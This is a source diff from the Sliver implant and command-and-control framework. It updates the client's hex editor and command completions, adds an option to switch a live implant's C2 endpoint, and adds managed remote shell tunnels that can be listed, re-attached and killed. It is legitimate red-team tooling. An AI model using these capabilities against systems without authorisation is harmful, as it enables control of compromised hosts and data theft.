return m.handleCommand(key)
case modeHexEdit:
return m.handleHexEdit(msg)
return m.handleHexEdit(key)
case modeASCIIEdit:
return m.handleASCIIEdit(msg)
return m.handleASCIIEdit(key)
default:
return m.handleNormal(msg)
return m.handleNormal(key)
}
}
return m, nil
}
func (m *editorModel) View() string {
func (m *editorModel) View() tea.View {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
@@ -160,19 +159,33 @@ func (m *editorModel) View() string {
}
if m.height < 2 {
return b.String()
return hexEditorView(b.String())
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
b.WriteString(renderStatusBar(m.width, m.statusLine()))
if m.height < 3 {
return b.String()
return hexEditorView(b.String())
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
return hexEditorView(b.String())
}
func renderStatusBar(width int, text string) string {
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
}
func renderCursorCell(cell string) string {
return ansiReverseOn + cell + ansiReverseOff
}
func hexEditorView(content string) tea.View {
v := tea.NewView(content)
v.AltScreen = true
return v
}
func (m *editorModel) result() editorResult {
@@ -185,8 +198,8 @@ func (m *editorModel) result() editorResult {
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
@@ -201,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
default:
if key.Text != "" {
m.command += key.Text
}
}
return m, nil
}
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleHexEdit(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.nibbleSet = false
@@ -230,8 +245,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
case tea.KeyDown:
m.moveDown()
m.nibbleSet = false
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
val, ok := hexNibble(r)
if !ok {
continue
@@ -250,8 +265,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleASCIIEdit(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyLeft:
@@ -262,8 +277,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if r < 0 || r > 0xFF {
continue
}
@@ -275,8 +290,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
@@ -287,8 +302,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if m.handleNormalRune(r) {
break
}
@@ -408,13 +423,8 @@ func (m *editorModel) renderLine(lineIndex int) string {
asciiRaw := string(printableByte(byteVal))
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle().Render(hexRaw)
asciiCells[i] = modifiedCursorStyle().Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
}
hexCells[i] = renderCursorCell(hexRaw)
asciiCells[i] = renderCursorCell(asciiRaw)
continue
}
if isModified {
+12 -2
View File
@@ -8,6 +8,7 @@ import (
"strings"
"time"
tea "charm.land/bubbletea/v2"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
@@ -15,8 +16,9 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/colorprofile"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
@@ -174,7 +176,15 @@ func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
model := newEditorModel(data, filename, offset)
program := tea.NewProgram(model, tea.WithAltScreen())
width, height := 80, 24
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
width, height = w, h
}
program := tea.NewProgram(
model,
tea.WithWindowSize(width, height),
tea.WithColorProfile(colorprofile.TrueColor),
)
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
+27
View File
@@ -1,6 +1,25 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -103,6 +122,10 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
})
flags.BindFlagCompletions(httpCmd, func(comp *carapace.ActionMap) {
(*comp)["website"] = WebsiteNameCompleter(con)
})
registerWebsiteFlagCompletion(httpCmd, "website", con)
// HTTPS
httpsCmd := &cobra.Command{
@@ -129,9 +152,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
})
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
(*comp)["website"] = WebsiteNameCompleter(con)
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
})
completers.RegisterLocalFilePathFlagCompletions(httpsCmd, "cert", "key")
registerWebsiteFlagCompletion(httpsCmd, "website", con)
// Staging listeners
stageCmd := &cobra.Command{
@@ -161,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
})
completers.RegisterLocalFilePathFlagCompletions(stageCmd, "cert", "key")
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
}
+38
View File
@@ -0,0 +1,38 @@
package jobs
import (
"testing"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
)
func TestHTTPAndHTTPSWebsiteFlagCompletionRegistered(t *testing.T) {
cmds := Commands(&console.SliverClient{})
httpCmd := commandByUse(cmds, consts.HttpStr)
if httpCmd == nil {
t.Fatalf("missing %q command", consts.HttpStr)
}
if _, ok := httpCmd.GetFlagCompletionFunc("website"); !ok {
t.Fatalf("%q missing website flag completion func", consts.HttpStr)
}
httpsCmd := commandByUse(cmds, consts.HttpsStr)
if httpsCmd == nil {
t.Fatalf("missing %q command", consts.HttpsStr)
}
if _, ok := httpsCmd.GetFlagCompletionFunc("website"); !ok {
t.Fatalf("%q missing website flag completion func", consts.HttpsStr)
}
}
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
for _, cmd := range cmds {
if cmd.Use == use {
return cmd
}
}
return nil
}
+100
View File
@@ -0,0 +1,100 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"sort"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// WebsiteNameCompleter completes the names of available websites.
func WebsiteNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
websites, err := websiteNameValues(con)
if err != nil {
return carapace.ActionMessage("Failed to list websites %s", err)
}
if len(websites) == 0 {
return carapace.ActionMessage("no available websites")
}
return carapace.ActionValues(websites...).Tag("websites").Usage("website name")
})
}
func registerWebsiteFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
values, err := websiteNameValues(con)
if err != nil {
return nil, cobra.ShellCompDirectiveNoFileComp
}
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
})
}
func websiteNameValues(con *console.SliverClient) ([]string, error) {
results := make([]string, 0)
if con == nil || con.Rpc == nil {
return results, nil
}
websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
for _, ws := range websites.Websites {
results = append(results, ws.Name)
}
sort.Strings(results)
return results, nil
}
func filterCompletionValues(values []string, prefix string) []string {
if prefix == "" {
return values
}
filtered := make([]string, 0, len(values))
for _, value := range values {
candidate := value
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
candidate = value[:tab]
}
if strings.HasPrefix(candidate, prefix) {
filtered = append(filtered, value)
}
}
return filtered
}
+3
View File
@@ -1,6 +1,7 @@
package loot
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -50,6 +51,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
})
carapace.Gen(lootAddCmd).PositionalCompletion(
carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot"))
completers.RegisterLocalFilePathPositionalCompletion(lootAddCmd, 0)
lootRemoteCmd := &cobra.Command{
Use: consts.LootRemoteStr,
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot")
(*comp)["filter"] = FileTypeCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(lootFetchCmd, "save")
lootRmCmd := &cobra.Command{
Use: consts.RmStr,
+2
View File
@@ -1,6 +1,7 @@
package processes
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles()
})
completers.RegisterLocalFilePathFlagCompletion(procdumpCmd, "save")
terminateCmd := &cobra.Command{
Use: consts.TerminateStr,
+1
View File
@@ -26,6 +26,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("beacon-interval", "i", "", "beacon callback interval")
f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.StringP("c2-uri", "c", "", "C2 URI to switch to")
})
renameCmd := &cobra.Command{
+39
View File
@@ -20,6 +20,7 @@ package reconfig
import (
"context"
"net/url"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -52,6 +53,7 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
var beaconJitter time.Duration
binterval, _ := cmd.Flags().GetString("beacon-interval")
bjitter, _ := cmd.Flags().GetString("beacon-jitter")
C2URI, _ := cmd.Flags().GetString("c2-uri")
if beacon != nil {
if binterval != "" {
@@ -73,10 +75,47 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
}
}
if C2URI != "" {
// validate uri
newURI, err := url.Parse(C2URI)
if err != nil || newURI.Scheme == "" || newURI.Host == "" {
con.PrintErrorf("Invalid C2 URI: %s (expected format: protocol://host:port)\n", C2URI)
return
}
// validate the protocol is the same as the beacon (cuz it compiled with only one protocol)
var activeC2 string
if beacon != nil {
activeC2 = beacon.ActiveC2
} else if session != nil {
activeC2 = session.ActiveC2
}
if activeC2 != "" {
currentURI, err := url.Parse(activeC2)
if err == nil {
// must be the same protocol
if newURI.Scheme != currentURI.Scheme {
con.PrintErrorf("Cannot switch protocol from %s to %s (protocol must match compiled implant)\n",
currentURI.Scheme, newURI.Scheme)
return
}
// for now only support the same Host/C2 Server (becuase the implant crypto keys problem)
if newURI.Hostname() != currentURI.Hostname() {
con.PrintWarnf("Switching to a different host (%s -> %s). This only works if both servers share the same crypto keys.\n",
currentURI.Hostname(), newURI.Hostname())
}
}
}
con.PrintInfof("Updating C2 endpoint to: %s\n", C2URI)
}
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
ReconnectInterval: int64(reconnectInterval),
BeaconInterval: int64(beaconInterval),
BeaconJitter: int64(beaconJitter),
C2URI: C2URI,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
+2
View File
@@ -1,6 +1,7 @@
package registry
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
})
completers.RegisterLocalFilePathFlagCompletion(registryReadHiveCmd, "save")
registryReadCmd.AddCommand(registryReadHiveCmd)
registryWriteCmd := &cobra.Command{
+2
View File
@@ -1,6 +1,7 @@
package screenshot
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -31,6 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(screenshotCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles()
})
completers.RegisterLocalFilePathFlagCompletion(screenshotCmd, "save")
return []*cobra.Command{screenshotCmd}
}
+1 -1
View File
@@ -13,6 +13,7 @@ import (
"sync"
"time"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
clienttheme "github.com/bishopfox/sliver/client/theme"
@@ -21,7 +22,6 @@ import (
"github.com/charmbracelet/bubbles/key"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/huh"
"github.com/charmbracelet/lipgloss"
"github.com/spf13/cobra"
"google.golang.org/grpc/connectivity"
)
+5 -2
View File
@@ -6,7 +6,10 @@ Implements the 'shell' command group for the Sliver client console. Handlers map
## Go Files
- `commands.go` – Exposes the interactive shell command and binds its options.
- `commands.go` – Exposes the shell command group (`shell`, `shell ls`, `shell attach`, `shell kill`) and binds options.
- `completers.go` – Shell-specific command completion helpers.
- `filter-reader_generic.go` – Provides output filtering for shell streams on POSIX targets.
- `filter-reader_windows.go` – Implements CRLF-aware filtering and decoding for Windows shell sessions.
- `shell.go` – Launches interactive command shells over RPC and manages IO loops.
- `ioloop.go` – Handles attached shell stdin forwarding, escape handling, and fast local detach/exit behavior.
- `manager.go` – Tracks managed shell tunnels so detached shells can be listed and re-attached.
- `shell.go` – Launches/attaches shell tunnels and coordinates managed shell lifecycle.
+42
View File
@@ -5,6 +5,7 @@ import (
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
@@ -28,5 +29,46 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
shellLsCmd := &cobra.Command{
Use: consts.LsStr,
Short: "List managed local shell tunnels",
Long: help.GetHelpFor([]string{consts.ShellStr}),
Run: func(cmd *cobra.Command, args []string) {
ShellLsCmd(cmd, con, args)
},
}
shellCmd.AddCommand(shellLsCmd)
shellAttachCmd := &cobra.Command{
Use: "attach <id>",
Short: "Attach to a managed local shell tunnel",
Long: help.GetHelpFor([]string{consts.ShellStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ShellAttachCmd(cmd, con, args)
},
}
flags.Bind("", false, shellAttachCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
shellCmd.AddCommand(shellAttachCmd)
carapace.Gen(shellAttachCmd).PositionalCompletion(ShellIDCompleter(con).Usage("managed shell ID"))
shellKillCmd := &cobra.Command{
Use: consts.KillStr + " <id>",
Short: "Kill a managed shell and clean up remote process state",
Long: help.GetHelpFor([]string{consts.ShellStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ShellKillCmd(cmd, con, args)
},
}
flags.Bind("", false, shellKillCmd, func(f *pflag.FlagSet) {
f.BoolP("force", "F", false, "force process cleanup via terminate rpc")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
shellCmd.AddCommand(shellKillCmd)
carapace.Gen(shellKillCmd).PositionalCompletion(ShellIDCompleter(con).Usage("managed shell ID"))
return []*cobra.Command{shellCmd}
}
+30
View File
@@ -0,0 +1,30 @@
package shell
import (
"fmt"
"strconv"
"github.com/bishopfox/sliver/client/console"
"github.com/rsteube/carapace"
)
// ShellIDCompleter completes IDs of managed local shells.
func ShellIDCompleter(_ *console.SliverClient) carapace.Action {
callback := func(_ carapace.Context) carapace.Action {
results := make([]string, 0)
managed := shells.List()
if len(managed) == 0 {
return carapace.ActionMessage("no managed shells")
}
for _, sh := range managed {
results = append(results, strconv.Itoa(sh.ID))
results = append(results, fmt.Sprintf("%s, pid=%d, state=%s", sessionLabel(sh.SessionID, sh.SessionName), sh.Pid, sh.State()))
}
return carapace.ActionValuesDescribed(results...).Tag("managed shells")
}
return carapace.ActionCallback(callback)
}
+148
View File
@@ -0,0 +1,148 @@
package shell
import (
"bufio"
"bytes"
"io"
"log"
"os"
"strings"
"sync"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
)
// runAttachedIO forwards local stdin to a shell tunnel while attached to the shell.
// It returns:
// - detached=true when user hit escape (Ctrl-])
// - closeRequested=true when user requested shell close (EOF/exit/logout)
func runAttachedIO(tunnel *core.TunnelIO, con *console.SliverClient) (detached bool, closeRequested bool) {
// We can't pipe stdin directly into the tunnel: if the gRPC tunnel send path blocks
// (network hang, server gone, etc.) tunnel.Write can block forever and "lock" the
// client in shell mode. Instead, buffer stdin locally and look for a local escape key.
const (
shellEscapeByte = byte(0x1d) // Ctrl-]
stdinBufSize = 32 * 1024
stdinQueueDepth = 128
)
stdinQueue := make(chan []byte, stdinQueueDepth)
stopWriter := make(chan struct{})
var writerWG sync.WaitGroup
writerWG.Add(1)
go func() {
defer writerWG.Done()
defer func() {
// Tunnel teardown can race with writes (server-side close, disconnect, etc.).
// Don't let a send-on-closed-channel panic bring down the whole client.
if r := recover(); r != nil {
log.Printf("Shell tunnel writer stopped: %v", r)
}
}()
for {
select {
case <-stopWriter:
return
case data, ok := <-stdinQueue:
if !ok {
return
}
if len(data) == 0 {
continue
}
select {
case <-stopWriter:
return
case tunnel.Send <- data:
}
}
}
}()
defer func() {
close(stopWriter)
close(stdinQueue)
writerWG.Wait()
}()
stdin := newFilterReader(os.Stdin)
buf := make([]byte, stdinBufSize)
lineBuf := make([]byte, 0, 128)
inEscSeq := false
log.Printf("Reading from stdin (escape=Ctrl-]) ...")
for {
n, err := stdin.Read(buf)
if n > 0 {
data := buf[:n]
if i := bytes.IndexByte(data, shellEscapeByte); i >= 0 {
if i > 0 {
// Best-effort: don't block stdin if the tunnel is wedged.
dataCopy := append([]byte(nil), data[:i]...)
select {
case stdinQueue <- dataCopy:
default:
}
}
detached = true
break
}
exitRequested := false
for _, b := range data {
if inEscSeq {
if b >= 0x40 && b <= 0x7e {
inEscSeq = false
}
continue
}
switch b {
case '\r', '\n':
line := strings.TrimSpace(string(lineBuf))
if line == "exit" || line == "logout" {
exitRequested = true
}
lineBuf = lineBuf[:0]
case 0x1b:
inEscSeq = true
case 0x08, 0x7f:
if len(lineBuf) > 0 {
lineBuf = lineBuf[:len(lineBuf)-1]
}
default:
// Keep printable bytes only; ignore control sequences (arrows, etc.).
if b >= 0x20 && b <= 0x7e {
lineBuf = append(lineBuf, b)
}
}
}
dataCopy := append([]byte(nil), data...)
select {
case stdinQueue <- dataCopy:
default:
// Drop input if the tunnel send path is blocked; still allow escape.
}
if exitRequested {
closeRequested = true
break
}
}
if err != nil {
if err != io.EOF {
con.PrintErrorf("Error reading from stdin: %s\n", err)
}
closeRequested = true
break
}
}
log.Printf("Exit interactive")
bufio.NewWriter(os.Stdout).Flush()
return detached, closeRequested
}
+150
View File
@@ -0,0 +1,150 @@
package shell
import (
"io"
"log"
"sort"
"sync"
"time"
"github.com/bishopfox/sliver/client/core"
)
type shellManager struct {
mu sync.RWMutex
nextID int
shells map[int]*managedShell
}
func newShellManager() *shellManager {
return &shellManager{
nextID: 1,
shells: map[int]*managedShell{},
}
}
var shells = newShellManager()
type shellState string
const (
shellStateAttached shellState = "attached"
shellStateDetached shellState = "detached"
shellStateClosing shellState = "closing"
)
type managedShell struct {
ID int
SessionID string
SessionName string
Path string
Pid uint32
TunnelID uint64
EnablePTY bool
CreatedAt time.Time
mu sync.RWMutex
state shellState
tunnel *core.TunnelIO
output *swapWriter
readerWG sync.WaitGroup
}
func (s *managedShell) State() shellState {
s.mu.RLock()
defer s.mu.RUnlock()
return s.state
}
func (s *managedShell) setState(state shellState) {
s.mu.Lock()
defer s.mu.Unlock()
s.state = state
}
func (s *managedShell) Tunnel() *core.TunnelIO {
s.mu.RLock()
defer s.mu.RUnlock()
return s.tunnel
}
func (s *managedShell) SetOutput(w io.Writer) {
s.output.Set(w)
}
func (s *managedShell) startReader(remove func()) {
s.readerWG.Add(1)
go func() {
defer s.readerWG.Done()
_, err := io.Copy(s.output, s.tunnel)
log.Printf("Shell tunnel reader (id=%d tunnel=%d) exited: %v", s.ID, s.TunnelID, err)
remove()
}()
}
// swapWriter is an io.Writer whose underlying destination can be swapped at runtime.
// This is used so detached shells can keep draining output without clobbering the REPL.
type swapWriter struct {
mu sync.RWMutex
w io.Writer
}
func newSwapWriter(w io.Writer) *swapWriter {
return &swapWriter{w: w}
}
func (s *swapWriter) Set(w io.Writer) {
s.mu.Lock()
s.w = w
s.mu.Unlock()
}
func (s *swapWriter) Write(p []byte) (int, error) {
s.mu.RLock()
w := s.w
s.mu.RUnlock()
if w == nil {
return len(p), nil
}
return w.Write(p)
}
func (m *shellManager) Add(sh *managedShell) int {
m.mu.Lock()
defer m.mu.Unlock()
id := m.nextID
m.nextID++
sh.ID = id
m.shells[id] = sh
return id
}
func (m *shellManager) Remove(id int) {
m.mu.Lock()
defer m.mu.Unlock()
delete(m.shells, id)
}
func (m *shellManager) Get(id int) (*managedShell, bool) {
m.mu.RLock()
defer m.mu.RUnlock()
sh, ok := m.shells[id]
return sh, ok
}
func (m *shellManager) List() []*managedShell {
m.mu.RLock()
defer m.mu.RUnlock()
results := make([]*managedShell, 0, len(m.shells))
for _, sh := range m.shells {
results = append(results, sh)
}
sort.Slice(results, func(i, j int) bool {
return results[i].ID < results[j].ID
})
return results
}
+351 -90
View File
@@ -19,24 +19,34 @@ package shell
*/
import (
"bufio"
"context"
"io"
"log"
"os"
"strconv"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/term"
)
const (
windows = "windows"
darwin = "darwin"
linux = "linux"
darwin = "darwin"
linux = "linux"
)
type shellResult int
const (
shellExited shellResult = iota
shellDetached
shellAttachFailed
)
// ShellCmd - Start an interactive shell on the remote system.
@@ -55,113 +65,364 @@ func ShellCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
noPty = true // Sliver's PTYs are only supported on linux/darwin
}
runInteractive(cmd, shellPath, noPty, con)
con.Println("Shell exited")
result := runInteractive(cmd, shellPath, noPty, con, nil)
if result == shellDetached {
con.Println("Shell detached")
} else if result == shellExited {
con.Println("Shell exited")
}
}
func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverClient) {
// ShellLsCmd lists local shell tunnels currently managed by the client.
func ShellLsCmd(_ *cobra.Command, con *console.SliverClient, _ []string) {
managed := shells.List()
if len(managed) == 0 {
con.PrintInfof("No managed shells\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"State",
"Session",
"PID",
"PTY",
"Tunnel ID",
"Path",
"Age",
})
now := time.Now()
for _, sh := range managed {
age := now.Sub(sh.CreatedAt).Round(time.Second).String()
if sh.CreatedAt.IsZero() {
age = "-"
}
pid := "-"
if sh.Pid > 0 {
pid = strconv.FormatUint(uint64(sh.Pid), 10)
}
tw.AppendRow(table.Row{
sh.ID,
sh.State(),
sessionLabel(sh.SessionID, sh.SessionName),
pid,
sh.EnablePTY,
sh.TunnelID,
sh.Path,
age,
})
}
con.Printf("%s\n", tw.Render())
}
// ShellAttachCmd re-attaches local stdin/stdout to a managed shell tunnel.
func ShellAttachCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if len(args) < 1 {
con.PrintErrorf("Usage: shell attach <id>\n")
return
}
shellID, err := strconv.Atoi(args[0])
if err != nil || shellID <= 0 {
con.PrintErrorf("Invalid shell id: %s\n", args[0])
return
}
sh, ok := shells.Get(shellID)
if !ok {
con.PrintErrorf("Unknown shell id: %d\n", shellID)
return
}
if sh.State() == shellStateAttached {
con.PrintErrorf("Shell %d is already attached\n", shellID)
return
}
if sh.State() == shellStateClosing {
con.PrintErrorf("Shell %d is closing\n", shellID)
return
}
tunnel := sh.Tunnel()
if tunnel == nil || !tunnel.IsOpen() {
con.PrintErrorf("Shell %d is no longer active\n", shellID)
shells.Remove(shellID)
return
}
session := con.ActiveTarget.GetSession()
if session == nil || session.ID != sh.SessionID {
con.PrintErrorf("Shell %d belongs to %s; switch targets before attaching\n", shellID, sessionLabel(sh.SessionID, sh.SessionName))
return
}
result := runInteractive(cmd, sh.Path, !sh.EnablePTY, con, sh)
if result == shellDetached {
con.Println("Shell detached")
} else if result == shellExited {
con.Println("Shell exited")
}
}
// ShellKillCmd kills a managed shell from the REPL and cleans up remote state.
func ShellKillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if len(args) < 1 {
con.PrintErrorf("Usage: shell kill <id>\n")
return
}
shellID, err := strconv.Atoi(args[0])
if err != nil || shellID <= 0 {
con.PrintErrorf("Invalid shell id: %s\n", args[0])
return
}
force, _ := cmd.Flags().GetBool("force")
sh, ok := shells.Get(shellID)
if !ok {
con.PrintErrorf("Unknown shell id: %d\n", shellID)
return
}
session := con.ActiveTarget.GetSession()
if session == nil || session.ID != sh.SessionID {
con.PrintErrorf("Shell %d belongs to %s; switch targets before killing\n", shellID, sessionLabel(sh.SessionID, sh.SessionName))
return
}
sh.setState(shellStateClosing)
sh.SetOutput(io.Discard)
shells.Remove(sh.ID)
// Best-effort graceful request before closing the tunnel.
requestRemoteShellExit(sh.Tunnel())
if err := closeShellTunnel(con, sh.TunnelID, sh.SessionID); err != nil {
con.PrintWarnf("Error closing shell tunnel %d: %s\n", sh.TunnelID, err)
}
if force && sh.Pid > 1 {
terminate, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: int32(sh.Pid),
Force: force,
})
if err != nil {
con.PrintWarnf("Error terminating shell process %d: %s\n", sh.Pid, err)
} else if terminate.Response != nil && terminate.Response.GetErr() != "" {
errMsg := terminate.Response.GetErr()
// If shell already exited, that is an acceptable cleanup outcome.
